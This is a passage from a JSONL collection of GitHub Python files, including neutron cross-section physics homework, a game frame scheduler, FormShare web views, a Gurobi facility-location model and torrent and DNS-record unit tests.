tweepy.Cursor(api.search_30_day, label='test1', query=search_criteria, fromDate='202203080000').pages(item_num)\n\n\n tweets = list(tweets)\n tweet_data = []\n for i in range(len(tweets)):\n for tweet in tweets[i]:\n if not 'RT @' in tweet.text[:4]:\n tweet_data.append([searchkey, tweet.id, tweet.user.id, tweet.user.name, tweet.text, tweet.favorite_count, tweet.retweet_count, tweet.created_at])\n\n return tweet_data\n","repo_name":"YM202110/Tweepy_v1","sub_path":"config/tweepy_test/tweepy.py","file_name":"tweepy.py","file_ext":"py","file_size_in_byte":1097,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"7828347109","text":"\"\"\" Homework for NE806, Neutronics\n \n Author: Keith Huddleston\n Email: kdhuddle@ksu.edu\n\"\"\"\n\n# ============================================================================\n# Import statements\n# ============================================================================\nimport numpy as np\nfrom scipy.special import erf\nimport re\n\n# ============================================================================\n# Doppler-Broaden Function\n# ============================================================================\ndef Doppler(E2, E1, S1, T1, T2, M, m=1.009):\n \"\"\"\n\n Parameters\n ----------\n E2 : array_like\n New energy mesh at which to evaluate cross sections at.\n E1 : array_like\n Energy mesh of the reference cross section data.\n S1 : array_like\n Cross section data of reference.\n T1 : Float\n Temperature of the reference cross section data.\n T2 : Float\n New temperature at which to evaluate cross sections at.\n M : Float\n Atomic mass of target.\n m : Float\n Atomic mass of projectile, 1.009 for Neutron.\n Returns\n -------\n S2 : array_like\n Reavaluated cross section data for energies E2, and temperature T2\n\n \"\"\"\n Bk = 6.617*10**-5 # Boltzman Constant, [eV K^-1]\n alpha = (M/m)/(Bk*(T2-T1)) # Alpha term found in Doppler broadening Eqs.\n S2 = np.zeros(len(E2)) # Initialize new cross section data array\n S2_pos = np.zeros(len(E2))\n S2_neg = np.zeros(len(E2))\n \n F0 = lambda a: erf(a)\n H0 = lambda a, b: F0(a) - F0(b)\n \n F1 = lambda a: np.sqrt(1/np.pi) * (1-np.exp(-a**2))\n H1 = lambda a, b: F1(a) - F1(b)\n \n F2 = lambda a: (1/2)*erf(a) - (a/np.sqrt(np.pi))*np.exp(-a**2)\n H2 = lambda a, b: F2(a) - F2(b)\n \n F3 = lambda a: np.sqrt(1/np.pi) * (1-(1+a**2)*np.exp(-a**2))\n H3 = lambda a, b: F3(a) - F3(b)\n \n F4 = lambda a: (3/4)*erf(a) - np.sqrt(1/np.pi)*((3*a/2)+a**3)*np.exp(-a**2)\n H4 = lambda a, b: F4(a) - F4(b)\n \n def Af(E1, E2, S1, S2):\n den = (E2 - E1)\n num = (E2*S1) - (E1*S2)\n return num/den\n \n def Cf(E1, E2, S1, S2, alpha):\n den = (E2 - E1)*alpha\n num = (S2 - S1)\n return num/den\n \n # Evaluate Doppler-broadened cross section at specified energy E2[i]\n for i in range(len(E2)):\n S2i = 0\n y = [-1*np.sqrt(alpha*E2[i]), np.sqrt(alpha*E2[i])]\n for j in range(len(y)):\n Ek1 = E1[:-1]\n Ek2 = E1[1:]\n Sk1 = S1[:-1]\n Sk2 = S1[1:] \n xk1 = np.sqrt(alpha*Ek1)\n xk2 = np.sqrt(alpha*Ek2)\n\n Ak = Af(Ek1, Ek2, Sk1, Sk2)\n Ck = Cf(Ek1, Ek2, Sk1, Sk2, alpha)\n\n Zk1 = xk1 - y[j]\n Zk2 = xk2 - y[j]\n\n H0k = H0(Zk2, Zk1)\n H1k = H1(Zk2, Zk1)\n H2k = H2(Zk2, Zk1)\n H3k = H3(Zk2, Zk1)\n H4k = H4(Zk2, Zk1)\n\n S2i = H4k * (Ck) \\\n + H3k * (4*Ck*y[j]) \\\n + H2k * (Ak+6*Ck*y[j]**2) \\\n + H1k * (2*Ak*y[j]+4*Ck*y[j]**3) \\\n + H0k * (Ak*y[j]**2+Ck*y[j]**4)\n S2i = sum(S2i)\n if j == 0:\n S2_neg[i] = S2i/2/y[j]**2\n else:\n S2_pos[i] = S2i/2/y[j]**2\n S2 = S2_pos - S2_neg\n return S2\n\n# ============================================================================\n# Load interpreted BNL resonance data\n# ============================================================================\ndef load_BNL_RP(filename):\n \"\"\" File for loading BNL interpreted resonance parameter files\n \"\"\"\n file = open(filename, 'r')\n lines = file.readlines()\n l = len(lines)\n data = np.zeros((l, 6)) # There should always be six columns in this file\n \n # Alter file values so that python can recognize them as floating point\n p1 = r'(\\+*\\-*\\d\\.\\d*\\+*\\-*\\d+)'\n for i in range(l):\n line = lines[i]\n found = re.findall(p1, line)\n for j in range(6):\n value = found[j]\n for k in range(len(value))[::-1]:\n if value[k] == '-' or value[k] == '+':\n value = value[:k]+'e'+value[k:]\n break\n data[i][j] = value\n \n # Seperate data into column vectors containing E0, J, GN, GG, GFA, GFB\n E0, J, GN, GG, GFA, GFB = [np.zeros(l) for i in range(6)]\n for i in range(l):\n E0[i], J[i], GN[i], GG[i], GFA[i], GFB[i] = data[i]\n ind = 0\n for i in range(len(E0)):\n if E0[i] < 0:\n ind = i+1\n return E0[ind:], J[ind:], GN[ind:], GG[ind:], GFA[ind:], GFB[ind:]\n\n# ============================================================================\n# Reconstruct\n# ============================================================================\ndef breitWigner(E0, J, GN, GG, GFA, GFB, A, sigma_p, I, E):\n \"\"\" Reconstructs cross section data given resonance parameters\n \"\"\"\n G = GN+GG\n sigma_g = np.zeros_like(E)\n sigma_n = np.zeros_like(E)\n sigma_n[:] = sigma_p\n sigma_e = np.zeros_like(E)\n # Nuclear Radius in (cm), units cancel out with scattering interfence term\n R = 1.25*10**-13 * 238**(1/3)\n \n for i in range(len(E0)):\n # statistical spin factor, where I=nuclear spint, J=total spin\n g = (2*J[i]+1)/(2*(2*I+1))\n \n # total cross section at resonance energy (DH 2-36)\n sigma_0 = 2.608e6 * (A+1)**2/(A**2 * E0[i]) * (GN[i]/G[i]) * g\n \n # capture cross section (DH 2-35)\n y = (2/G[i])*(E - E0[i])\n sigma_g += sigma_0 * (GG[i]/G[i]) * np.sqrt(E0[i]/E) * (1/(1+y**2))\n sigma_e += sigma_0 * (GN[i]/G[i]) * np.sqrt(E0[i]/E) * (1/(1+y**2)) \\\n + sigma_0 * (2*R/(4.55*10**-10/E0[i]**0.5))*(y/(1+y**2))\n\n sigma_e = sigma_e + sigma_n # Add potential scattering\n return sigma_e, sigma_g\n\n# ============================================================================\n# Phi\n# ============================================================================\ndef alpha(A):\n return ((A-1)/(A+1))**2\n\ndef scatter_probability(E_i, E_j, alpha) :\n p = (1.0/E_j/(1.0-alpha)) * 1.0*((E_i >= alpha*E_j))\n return p\n\ndef compute_spectrum(E, Sigma_t, Sigma_s, N, alpha) :\n N_E = len(E)\n phi = np.zeros(N_E)\n phi[N_E-1] = 1.0\n for i in range(N_E-2, -1, -1) :\n Q_i = 0.0\n for j in range(N_E-1, i, -1) :\n dE = E[j] - E[j-1]\n Q_i += phi[j] * (Sigma_s[j]*N) * scatter_probability(E[i], E[j], alpha) * dE\n phi[i] = Q_i / Sigma_t[i]\n return phi\n\n# ============================================================================\n# Phi\n# ============================================================================\nclass Nuclide_Data:\n def __init__(self, M, Resonator):\n self.M = M # Atomic Mass\n \n self.ESXS = {} # Elastic Scattering Cross Section\n self.ESEM = {} # Elastic Scattering Energy Mesh\n self.NGXS = {} # Radiative Capture Cross Section\n self.NGEM = {} # Radiative Capture Energy Mesh\n \n self.Temps = []\n self.Resonator = Resonator\n return\n \n def load_data(self, filename, file_content, temperature, load_header=True):\n if load_header:\n EM, XS = np.loadtxt(filename, delimiter=',', \n unpack=True, skiprows=1)\n else:\n EM, XS = np.loadtxt(filename, delimiter=',', unpack=True)\n\n if len(EM) != len(set(EM)):\n ind = np.zeros(len(EM)-len(set(EM)), dtype=int)\n if len(ind) > 0:\n j = 0\n for i in range(len(EM[:-1])):\n if EM[i] == EM[i+1]:\n ind[j] = i\n j += 1\n EM = np.delete(EM, ind)\n XS = np.delete(XS, ind)\n if file_content == 'ES':\n self.ESXS[str(temperature)] = XS\n self.ESEM[str(temperature)] = EM\n if not self.Resonator:\n self.NGXS[str(temperature)] = np.zeros(len(XS))\n self.NGEM[str(temperature)] = EM\n elif file_content == 'NG':\n self.NGXS[str(temperature)] = XS\n self.NGEM[str(temperature)] = EM\n if temperature not in self.Temps:\n self.Temps.append(temperature)\n \ndef Seperate_Groups(x_vals, y_vals, group_structure):\n # Indices used to place group stucture energy bounds\n ind_G = np.zeros(len(group_structure), dtype=int)\n k = 0\n for i in range(len(x_vals)):\n if x_vals[i] > group_structure[k]:\n ind_G[k] = int(i)\n k += 1\n if ind_G[-1] == 0:\n ind_G[-1] = len(x_vals)\n\n xg = [] # Group-wise x values\n yg = [] # Group-wise y values\n \n # Interpolate group boundary values for y\n bg = np.interp(group_structure, x_vals, y_vals)\n \n # Seperate data into groupwise lists\n for i in range(len(ind_G[:-1])):\n L1 = [group_structure[i]] + list(x_vals[ind_G[i]:ind_G[i+1]]) \\\n + [group_structure[i+1]]\n L2 = [bg[i]] + list(y_vals[ind_G[i]:ind_G[i+1]]) \\\n + [bg[i+1]]\n if L1[0] == L1[1]:\n L1 = L1[1:]\n L2 = L2[1:]\n if L1[-1] == L1[-2]:\n L1 = L1[:-1]\n L2 = L2[:-1] \n xg.append(np.array(L1))\n yg.append(np.array(L2))\n # Return a list containing lists of groupwise data\n return xg, yg\n\n# Narrow Resonance Flux Approximation\ndef phinr(sigma_t, sigma_o, E):\n return 1 / (E*(sigma_t + sigma_o))","repo_name":"keithhuddleston/NE806","sub_path":"Homework/HW3/NE806_Functions.py","file_name":"NE806_Functions.py","file_ext":"py","file_size_in_byte":9563,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"20913787715","text":"\n\nfrom .camera import runCamera\nfrom .timer import Timer, scheduleRealtime, unscheduleRealtime, checkSchedule, updateTimeSinceLastFrame, runDelayedEvents\nfrom .simplefpscounter import incrementFPSCount\nfrom . import settings\nfrom .display import updateGraphics, getWindow\nfrom .gconfig import *\n\n\nframetimer = None\nlagtime = 0\nmain_loop = None\nframerate = 1/60.0\n\n\ndef initializeGameFrames(func = None):\n global frametimer, main_loop, framerate\n\n\n\n updateGraphics()\n\n main_loop = func\n frametimer = Timer()\n framerate = 1.0 / settings.getValue(DYNAMIC_SETTINGS_FRAMES_PER_SECOND)\n\n scheduleGameFrame()\n\n resetLag()\n\ndef closeGameFrames():\n unscheduleRealtime(gameFrame)\n\n\ndef scheduleGameFrame():\n global lagtime\n frametime = max(framerate, 1.0/settings.getValue(DYNAMIC_SETTINGS_FPS_CLAMP)) #framerate doesn't change; use fps clamp if you want to lower it\n delay = max(frametime, frametimer.Tick() - lagtime) #subtracting lag time since it's negative\n lagtime = max(min(frametime - delay, 0), -settings.getValue(DYNAMIC_SETTINGS_MAX_LAG_TIME)) #max is a sanity check in case of extreme lag\n scheduleRealtime(gameFrame, 2*frametime - delay)\n\ndef dispatchInputEvents():\n window = getWindow()\n if window:\n window.dispatch_events()\n\ndef gameFrame(dt):\n #unscheduleRealtime(GameFrame) #stopgap to prevent leak; ideally whole scheduling system should handle better\n updateTimeSinceLastFrame(dt)\n dispatchInputEvents()\n runCamera()\n if main_loop:\n main_loop(dt)\n checkSchedule()\n runDelayedEvents()\n updateGraphics()\n incrementFPSCount()\n scheduleGameFrame()\n\ndef resetLag():\n global lagtime\n lagtime = 0.0\n if frametimer:\n frametimer.stopTimer() #prevents lag catch-up; all lag until after the next frame will be ignored\n","repo_name":"kaijyuu2/kaiengine","sub_path":"gameframehandler.py","file_name":"gameframehandler.py","file_ext":"py","file_size_in_byte":1821,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"3"} +{"seq_id":"73745182160","text":"#!/usr/bin/env python\nfrom __future__ import print_function\nimport pythagTriple\n\n\ndef euler():\n retvals = []\n for i in range(1, 1001):\n for j in range(i, 1001):\n for k in range(j, 1001):\n if (i + j + k == 1000):\n p = pythagTriple.PythagTriple(i, j, k)\n if p.isPythagorean():\n print(\"Magic Triple: %d, %d, %d\" % (i, j, k))\n retvals.append(i * j * k)\n return retvals\n\nif __name__ == '__main__':\n tripleProducts = euler()\n for i in tripleProducts:\n print(\"Triple product = %d\" % i)\n","repo_name":"gnperdue/Euler","sub_path":"Code/Python/problem009/euler009.py","file_name":"euler009.py","file_ext":"py","file_size_in_byte":618,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"3782651673","text":"\"\"\"Recursive merge a pair of dictionaries.\"\"\"\n\nfrom copy import deepcopy\n\n\ndef recursive_merge(x, y):\n \"\"\"Perform recursive merge of dictionaries.\"\"\"\n if not (type(x) == dict and type(y) == dict):\n if not (type(x) == dict or type(y) == dict):\n return\n if not type(x) == dict:\n return y\n if not type(y) == dict:\n return x\n z = {}\n overlapping_keys = x.keys() & y.keys()\n for key in overlapping_keys:\n z[key] = recursive_merge(x[key], y[key])\n for key in x.keys() - overlapping_keys:\n z[key] = deepcopy(x[key])\n for key in y.keys() - overlapping_keys:\n z[key] = deepcopy(y[key])\n return z\n","repo_name":"usegalaxy-au/galaxy-media-site","sub_path":"scrape/deep_copy.py","file_name":"deep_copy.py","file_ext":"py","file_size_in_byte":686,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"20523890954","text":"from formshare.plugins.utilities import FormSharePrivateView\nfrom pyramid.httpexceptions import HTTPFound, HTTPNotFound\nfrom formshare.processes.db import get_project_id_from_name, get_form_data\nfrom cne.product.cne_sheets import generate_cne_sheets\n\n\nclass ExportCNESheets(FormSharePrivateView):\n def process_view(self):\n user_id = self.request.matchdict[\"userid\"]\n project_code = self.request.matchdict[\"projcode\"]\n form_id = self.request.matchdict[\"formid\"]\n project_id = get_project_id_from_name(self.request, user_id, project_code)\n project_details = {}\n if project_id is not None:\n project_found = False\n for project in self.user_projects:\n if project[\"project_id\"] == project_id:\n project_found = True\n project_details = project\n if not project_found:\n raise HTTPNotFound\n else:\n raise HTTPNotFound\n\n if project_details[\"access_type\"] >= 4:\n raise HTTPNotFound\n\n form_data = get_form_data(self.request, project_id, form_id)\n if form_data is None:\n raise HTTPNotFound\n\n if self.request.method == \"POST\":\n self.returnRawViewResult = True\n\n location = self.request.route_url(\n \"form_download_cne_sheets\",\n userid=user_id,\n projcode=project_code,\n formid=form_id,\n )\n return HTTPFound(location=location)\n\n return {\n \"projectDetails\": project_details,\n \"formid\": form_id,\n \"formDetails\": form_data,\n \"userid\": user_id,\n }\n\n\nclass GenerateCNESheets(FormSharePrivateView):\n def __init__(self, request):\n FormSharePrivateView.__init__(self, request)\n self.checkCrossPost = False\n self.returnRawViewResult = True\n\n def process_view(self):\n user_id = self.request.matchdict[\"userid\"]\n project_code = self.request.matchdict[\"projcode\"]\n form_id = self.request.matchdict[\"formid\"]\n project_id = get_project_id_from_name(self.request, user_id, project_code)\n project_details = {}\n if project_id is not None:\n project_found = False\n for project in self.user_projects:\n if project[\"project_id\"] == project_id:\n project_found = True\n project_details = project\n if not project_found:\n raise HTTPNotFound\n else:\n raise HTTPNotFound\n\n form_data = get_form_data(self.request, project_id, form_id)\n if form_data is None:\n raise HTTPNotFound\n\n if project_details[\"access_type\"] >= 4:\n raise HTTPNotFound\n\n form_data[\"form_schema\"] = \"FS_85e92e5f_1067_42f2_8146_ffe25f6c70cf\"\n generate_cne_sheets(\n self.request,\n self.user.id,\n project_id,\n form_id,\n form_data[\"form_schema\"],\n )\n\n next_page = self.request.route_url(\n \"form_details\",\n userid=user_id,\n projcode=project_code,\n formid=form_id,\n _query={\"tab\": \"task\", \"product\": \"cne_sheets\"},\n _anchor=\"products_and_tasks\",\n )\n self.returnRawViewResult = True\n return HTTPFound(location=next_page)\n","repo_name":"BioversityCostaRica/mag_formshare_extensions","sub_path":"cne/cne/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3410,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"38473104253","text":"from collections import defaultdict\r\nfrom gurobipy import *\r\nfrom pandas import read_excel\r\nfilename = \"buad5092-m7-final-integration-US-mileage.xlsx\"\r\n\r\ndef opt(sheet, data_type):\r\n\r\n # data\r\n m = Model()\r\n data = read_excel(filename, sheet_name=f\"{sheet}-{data_type}\")\r\n data_demand = read_excel(filename, sheet_name=f\"{sheet}-demand\")\r\n num_rows, num_cols = data.shape[0], data.shape[1] - 1\r\n locs_rows, locs_cols = [data.iloc[i][0] for i in range(num_rows)], list(data.columns.values)[1:]\r\n demands = {locs_cols[i].replace(\" \", \"-\"): int(data_demand.get(locs_cols[i])) for i in range(num_cols)}\r\n # remove spaces in city names for Gurobi format files\r\n locs_rows, locs_cols = [i.replace(\" \", \"-\") for i in locs_rows], [i.replace(\" \", \"-\") for i in locs_cols]\r\n\r\n # variables\r\n service_centers, is_serviced_by = defaultdict(list), defaultdict(list)\r\n is_service_center_vars = {locs_cols[i]: m.addVar(vtype=GRB.BINARY, name=f\"is_service_center_{locs_cols[i]}\") for i in range(num_cols)}\r\n for i in range(num_cols):\r\n for j in range(num_rows):\r\n v = m.addVar(vtype=GRB.BINARY, name=f\"{locs_cols[i]}_is_service_center_for_{locs_rows[j]}\")\r\n service_centers[locs_rows[j]].append(v)\r\n is_serviced_by[locs_cols[i]].append(v)\r\n v = None\r\n m.update()\r\n\r\n # constraints\r\n m.addLConstr(quicksum(is_service_center_vars.values()), GRB.EQUAL, 3)\r\n for i in range(num_cols):\r\n m.addLConstr(quicksum(is_serviced_by[locs_cols[i]]), GRB.LESS_EQUAL, num_rows)\r\n m.addGenConstrOr(is_service_center_vars[locs_cols[i]], is_serviced_by[locs_cols[i]])\r\n for j in range(num_rows): m.addLConstr(quicksum(service_centers[locs_rows[j]]), GRB.EQUAL, 1)\r\n m.update()\r\n\r\n # objective\r\n distances = [quicksum([x * y for (x,y) in zip(service_centers[locs_rows[i]], data.loc[i][1:])]) for i in range(num_rows)]\r\n obj = [(demands[locs_cols[i]] * distances[i] / 1000) for i in range(num_cols)]\r\n m.setObjective(quicksum(obj), GRB.MINIMIZE)\r\n m.update()\r\n m.optimize()\r\n # m.display()\r\n print(m.objVal)\r\n\r\n # format output\r\n s, t = defaultdict(list), defaultdict(list)\r\n for i in m.getVars():\r\n if i.x > 0:\r\n if \"is_service_center_for_\" in i.varName:\r\n s[i.varName[:i.varName.index(\"_\")]].append(i.varName[i.varName.rindex(\"_\")+1:])\r\n for i, j in s.items(): t[i.replace(\"-\", \" \")] = [k.replace(\"-\", \" \") for k in j]\r\n tt = [{k: v} for (k, v) in t.items()]\r\n\r\n print(\"\\n\\nOUTPUT: \\n\\n\")\r\n print(f\"The minimized total distance is {round(m.objVal, 3)} {data_type}.\\n\\n\")\r\n print(f\"The 3 manufacturing sites are located at {list(t.keys())[0]} and {list(t.keys())[1]} and {list(t.keys())[2]}.\\n\\n\")\r\n print(f\"The manufacturing site assignments are: \\n\\n {tt[0]} \\n\\n {tt[1]} \\n\\n {tt[2]}\\n\\n\")\r\n print(\"done.\\n\\n\")\r\n return (round(m.objVal, 3))\r\n\r\n# opt(\"ex65\", \"miles\")\r\n# opt(\"st\", \"miles\")\r\n# opt(\"st\", \"hours\")\r\n","repo_name":"moses-b-alexander/Optimization_Final_Project","sub_path":"alexander-m7.py","file_name":"alexander-m7.py","file_ext":"py","file_size_in_byte":2863,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"29254420457","text":"import os\nimport time\nimport pytest\nfrom dataclasses import dataclass, field\n\nfrom maps.infra.ecstatic.common.experimental_worker.lib.coordinator_polling_job import CoordinatorPollingJob\nfrom maps.infra.ecstatic.common.experimental_worker.lib.ymtorrent_job import YmtorrentJobAction\nfrom maps.infra.ecstatic.tool.ecstatic_api.coordinator import Dataset, Coordinator\n\n\n@dataclass\nclass IncrementalAddTorrentCase:\n name: str\n datasets_to_add: dict[str, set[Dataset]]\n initial_datasets: dict[str, set[Dataset]] = field(default_factory=dict)\n\n def __str__(self):\n return self.name\n\n\nCASES = [\n IncrementalAddTorrentCase(\n name='add_new_dataset',\n datasets_to_add={'hash': {Dataset('ds1', '1')}}\n ),\n IncrementalAddTorrentCase(\n name='add_torrent_with_2_datasets',\n datasets_to_add={'hash': {\n Dataset('ds1', '1'),\n Dataset('ds2', '1')\n }}\n ),\n IncrementalAddTorrentCase(\n name='add_2_torrents',\n datasets_to_add={\n 'hash': {Dataset('ds1', '1')},\n 'hash1': {Dataset('ds2', '1')}\n }\n ),\n IncrementalAddTorrentCase(\n name='add_torrent_with_state',\n datasets_to_add={'hash': {\n Dataset('ds1', '1'),\n }},\n initial_datasets={'hash1': {Dataset('ds2', '1')}}\n ),\n IncrementalAddTorrentCase(\n name='append_ds_to_existing_torrent',\n datasets_to_add={'hash': {\n Dataset('ds1', '1'),\n }},\n initial_datasets={'hash': {Dataset('ds2', '1')}}\n ),\n]\n\n\n@pytest.mark.asyncio\n@pytest.mark.parametrize('case', CASES, ids=str)\nasync def test_incremental_add_torrent(coordinator_polling_job: CoordinatorPollingJob,\n torrents_collection_factory,\n coordinator: Coordinator,\n case: IncrementalAddTorrentCase):\n if case.initial_datasets:\n coordinator.host_torrents.return_value = torrents_collection_factory(case.initial_datasets)\n await coordinator_polling_job._update_torrents()\n assert len(coordinator_polling_job._ymtorrent_queue) == 1\n coordinator_polling_job._ymtorrent_queue.get()\n\n coordinator_polling_job._last_sync = time.time()\n coordinator.host_torrents.return_value = torrents_collection_factory(case.datasets_to_add)\n await coordinator_polling_job._update_torrents()\n new_hashes = set(case.datasets_to_add.keys()) - set(case.initial_datasets.keys())\n for ymtorrent_req in coordinator_polling_job._ymtorrent_queue.get():\n assert ymtorrent_req.type == YmtorrentJobAction.INCREMENTAL_ADD_TORRENT\n assert ymtorrent_req.torrent.content == b'torrent_file'\n assert ymtorrent_req.torrent.priority == 1\n assert ymtorrent_req.torrent.hash in new_hashes\n new_hashes.remove(ymtorrent_req.torrent.hash)\n\n storage_path = coordinator_polling_job._data_storage._storages[0]._path\n all_content_hashes = {os.path.basename(path) for path in os.listdir(storage_path.content)}\n all_torrents_hashes = {os.path.basename(path[:-len('.pb')])\n for path in os.listdir(storage_path.torrents)\n if path.endswith('.pb')}\n all_data_hashes = {os.path.basename(path[:-len('.data')])\n for path in os.listdir(storage_path.torrents)\n if path.endswith('.data')}\n all_test_hashes = set(case.datasets_to_add.keys()) | set(case.initial_datasets.keys())\n assert all_test_hashes == all_torrents_hashes\n assert all_test_hashes == all_data_hashes\n assert all_test_hashes == all_content_hashes\n for hash in all_test_hashes:\n if hash in case.initial_datasets:\n for ds in case.initial_datasets[hash]:\n assert os.path.exists(os.path.join(storage_path.versions, f'{ds.name}_{ds.version}'))\n\n if hash in case.datasets_to_add:\n for ds in case.datasets_to_add[hash]:\n assert os.path.exists(os.path.join(storage_path.versions, f'{ds.name}_{ds.version}'))\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"maps/tests/test_add_torrents.py","file_name":"test_add_torrents.py","file_ext":"py","file_size_in_byte":4095,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"13225401712","text":"class Solution:\n def twoSum(self, nums, target):\n \"\"\"\n :type nums: List[int]\n :type target: int\n :rtype: List[int]\n \"\"\"\n for i in range(len(nums)):\n for j in range(i, len(nums)):\n twoSome = nums[i] + nums[j]\n # print(\"i=\" + str(i) + \" j=\" + str(j) + \" twoSum = \" + str(twoSome))\n if (twoSome == target and i!=j):\n return [i,j]\n return []\n\n\n\ndef main():\n sObj = Solution()\n target = 6\n nums = [3,2,4]\n returnObj = sObj.twoSum(nums, target)\n if(returnObj):\n print(returnObj)\n else:\n print(\"None matched\")\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"mudragada/groundclutter","sub_path":"PyProblems/leetcode/1.py","file_name":"1.py","file_ext":"py","file_size_in_byte":701,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"20077108944","text":"import functools\nimport itertools\nimport json\nimport logging\nimport multiprocessing\nimport os\n\nimport joblib\nimport numpy as np\n\nimport phyre.action_mappers\nimport phyre.action_simulator\nimport phyre.eval_task_complexity\nimport phyre.loader\nimport phyre.settings\n\nVERSION = '1'\nSOLUTIONS = 'solutions'\n\n\ndef get_solution_power_path(task_path):\n task_id = os.path.basename(task_path).split('.')[0][4:]\n phyre.settings.TASK_SOLUTION_POWER_DIR.mkdir(exist_ok=True, parents=True)\n return str(phyre.settings.TASK_SOLUTION_POWER_DIR / task_id) + '.lzma'\n\n\ndef get_solution_power(tier, template_id, eval_data):\n _, task_path, task_script = phyre.loader.load_task_script(template_id)\n task_ids = list(eval_data.keys())\n\n all_sols = set()\n for task_instance in task_ids:\n all_sols.update(\n [tuple(each) for each in eval_data[task_instance][tier][SOLUTIONS]])\n\n # Generate the tasks and simulator.\n all_sols = list(all_sols)\n tasks = [\n task_script.build_task.get_specific_task(task_instance)\n for task_instance in task_ids\n ]\n simulator = phyre.action_simulator.ActionSimulator(tasks, tier)\n\n # Run simulation all solution/task pairs and record.\n task_solutions = np.zeros((len(all_sols), len(task_ids)))\n for (sol_i, task_i) in itertools.product(range(len(all_sols)),\n range(len(task_ids))):\n status = simulator.simulate_action(task_i, all_sols[sol_i]).status\n task_solutions[sol_i][task_i] = 1 if status.is_solved() else 0\n return task_solutions, task_ids, tier\n\n\ndef does_solution_power_need_update(task_path):\n eval_fpath = phyre.eval_task_complexity.get_evaluation_meta_path(task_path)\n sp_fpath = get_solution_power_path(task_path)\n logging.debug(f'Eval stats path: {eval_fpath}')\n logging.debug(f'Solution power path: {sp_fpath}')\n if not os.path.exists(eval_fpath):\n logging.debug('No eval stats data found. Cannot update solution power')\n return False\n if os.path.exists(sp_fpath):\n logging.debug('Found existing solution power file')\n # TODO(laurafustafson): the file is read twice (here and in\n # does_eval_stats_need_update). They should do a single read.\n with open(eval_fpath) as stream:\n eval_data = json.load(stream)\n solution_power_data = joblib.load(sp_fpath)\n if solution_power_data.get('solution_power_version', '1') != VERSION:\n logging.debug('Computed with old version of solution_power')\n return True\n if solution_power_data.get('evaluator_version', '1') != eval_data.get(\n 'evaluator_version', '1'):\n logging.debug('Computed with old version of eval_task_complexity')\n return True\n if solution_power_data.get('task_script_version', '1') != eval_data.get(\n 'task_script_version', '1'):\n logging.debug('Computed for old task (%s)',\n solution_power_data.get('task_script_version', '1'))\n return True\n logging.debug('The solution power results up to date')\n return False\n else:\n return True\n\n\ndef save_solution_power(template_id,\n eval_meta,\n eval_data,\n task_path,\n num_workers=-1):\n solution_powers = {}\n solution_powers['evaluator_version'] = eval_meta.get(\n 'evaluator_version', '1')\n solution_powers['task_script_version'] = eval_meta.get(\n 'task_script_version', '1')\n solution_powers['soltuion_power_version'] = VERSION\n partial_worker = functools.partial(\n get_solution_power,\n template_id=template_id,\n eval_data=eval_data['eval_stats'],\n )\n num_workers = min(num_workers, len(\n phyre.action_mappers.ACTION_MAPPERS)) if num_workers > 0 else None\n pool = multiprocessing.Pool(num_workers)\n results = pool.map(partial_worker, phyre.action_mappers.ACTION_MAPPERS)\n pool.close()\n for tier_solution_power, task_ids, tier in results:\n solution_powers[f'{tier}_actions_on_tasks'] = tier_solution_power\n solution_powers['task_ids'] = task_ids\n sp_fpath = get_solution_power_path(task_path)\n logging.info('Saving %s', sp_fpath)\n joblib.dump(solution_powers, sp_fpath, compress=('lzma', 6))\n","repo_name":"facebookresearch/phyre","sub_path":"src/python/phyre/compute_solution_power.py","file_name":"compute_solution_power.py","file_ext":"py","file_size_in_byte":4373,"program_lang":"python","lang":"en","doc_type":"code","stars":423,"dataset":"github-code","pt":"3"} +{"seq_id":"29171070807","text":"# coding: utf-8\nimport pytest\n\nfrom awacs.model.dns_records.removal import processors as p\nfrom infra.awacs.proto import model_pb2\nfrom awtest.core import wait_until\nfrom .conftest import create_dns_record_removal, create_l3_balancer\n\n\nDNS_RECORD_ID = 'dns-record-id'\nNS_ID = 'namespace-id'\n\n\ndef test_start_l3_backend(cache, zk_storage, ctx, dao):\n ns_pb = model_pb2.NameServer()\n ns_pb.meta.namespace_id = 'infra'\n ns_pb.meta.id = 'in.yandex-team.ru'\n ns_pb.spec.type = ns_pb.spec.DNS_MANAGER\n ns_pb.spec.zone = 'in.yandex-team.ru'\n dao.create_name_server_if_missing(ns_pb.meta, ns_pb.spec)\n dns_record = create_dns_record_removal(cache, zk_storage, model_pb2.DnsBackendsSelector.L3_BALANCERS)\n assert p.Started(dns_record).process(ctx).name == 'CREATING_DNS_RECORD_OPERATION'\n\n\ndef test_start_l7_backend(cache, zk_storage, ctx, dao):\n dao.create_default_name_servers()\n dns_record = create_dns_record_removal(cache, zk_storage, model_pb2.DnsBackendsSelector.BALANCERS)\n assert p.Started(dns_record).process(ctx).name == 'REMOVING_DNS_RECORD'\n\n\ndef test_creating_dns_record_op(ctx, dao, cache, zk_storage, dns_resolver_mock):\n dao.create_default_name_servers()\n dns_resolver_mock.get_address_record.return_value = {u'127.0.0.1'}\n dns_record = create_dns_record_removal(cache, zk_storage, model_pb2.DnsBackendsSelector.L3_BALANCERS)\n create_l3_balancer(NS_ID, 'l3_backend', cache, zk_storage)\n assert p.CreatingDnsRecordOperation(dns_record).process(ctx).name == 'WAITING_FOR_DNS_RECORD_OPERATION'\n dns_record_op_pb = wait_until(lambda: cache.must_get_dns_record_operation(NS_ID, DNS_RECORD_ID))\n assert len(dns_record_op_pb.order.content.modify_addresses.requests) == 2 # one A and one AAAA\n req_1 = dns_record_op_pb.order.content.modify_addresses.requests[0]\n assert req_1.address == '127.0.0.1'\n assert req_1.action == 